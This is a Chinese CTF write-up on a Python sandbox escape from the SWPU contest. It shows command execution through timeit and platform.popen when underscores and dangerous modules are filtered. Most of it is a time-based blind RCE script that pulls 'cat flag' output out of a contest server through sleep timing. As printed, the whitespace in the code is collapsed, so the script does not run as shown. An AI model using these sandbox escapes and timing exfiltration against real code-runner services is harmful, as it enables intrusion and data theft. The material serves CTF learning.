前几天参加了第八届swpu,题目质量很高,学到了很多东西。这里我就一道Python沙箱逃逸题目做一些总结。
题目过滤的很严格,文件读写,网络请求和一些危险模块都被ban掉了。甚至是下划线也会被检测到,这也使得__builtin__,[].__class__.__base__.__subclasses__()魔术方法无法利用。
最后得知利用的是一个内置模块:timeit.我相信很多初学python的人都会用到timeit模块来获取代码的执行时间,参看其文档可以看到这样的用法可以导致任意代码执行。
#coding:utf-8
importtimeit
timeit.timeit("__import__('os').system('')",number=1)
还有一个模块platform同样也行的通。
importplatform
platform.popen('id',mode='r',bufsize=-1).read()
在timeit模块里利用__import__内置函数加载os模块,然后就可以任意命令执行了,但是cat flag是没有回显的,因为返回的是代码的执行时间.再加上这里我把发起网络请求也给ban了,所以并不能通过cloudeye等外带通道获取命令执行的结果。
于是这里就有了一种特殊情况:一个没有回显不能访问外网的命令执行,怎么获取返回的结果呢?答案是:time based rce.
具体可以查看出题人博客http://icematcha.win/?p=532
最后类似盲注脚本如下:
#coding:utf-8#author:icematcha
importrequestsimportsysimportbase64
payloads= "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890="
defrequest(url, data, timeout):try:
res= requests.post(url, data = data, timeout =timeout)returnres.contentexcept:returnTruedefget_length(url, cmd, timeout):
length= ''
for i in xrange(1,10):
value= '''#!/usr/bin/python
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = ];then sleep 2;fi')", number=1)''' %(cmd, i)
data= {'process': value}
res=request(url, data, timeout)ifres:
llength=ibreak
for i in xrange(1, llength):for _ in xrange(1, 10):
value= '''#!/usr/bin/python
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = %s ];then sleep 2;fi')", number=1)''' %(cmd, i, _)
data= {'process': value}ifrequest(url, data, timeout):
length+=str(_)printlengthbreak
returnlengthdefget_content(url, cmd, timeout, length):
content= ''
for i in xrange(1, int(length)+1):for payload inpayloads:
value= '''#!/usr/bin/python
#coding:utf-8
import timeit
timeit.timeit("__import__('os').system('if [ $(%s|base32|cut -c %s) = %s ];then sleep 2;fi')", number=1)''' %(cmd, i, payload)
data= {'process': value}ifrequest(url, data, timeout):
content+=payloadprintcontentbreak
returncontentif __name__ == '__main__':
length= get_length('http://47.95.252.234/runcode','cat flag', 2.0)print "## The base32 of content's length is:%s" %length
content= get_content('http://47.95.252.234/runcode', 'cat flag', 2.0, length)print "## The base32 of content is:%s" %contentprint "## The commend result content is:%s" % base64.b32decode(content).strip()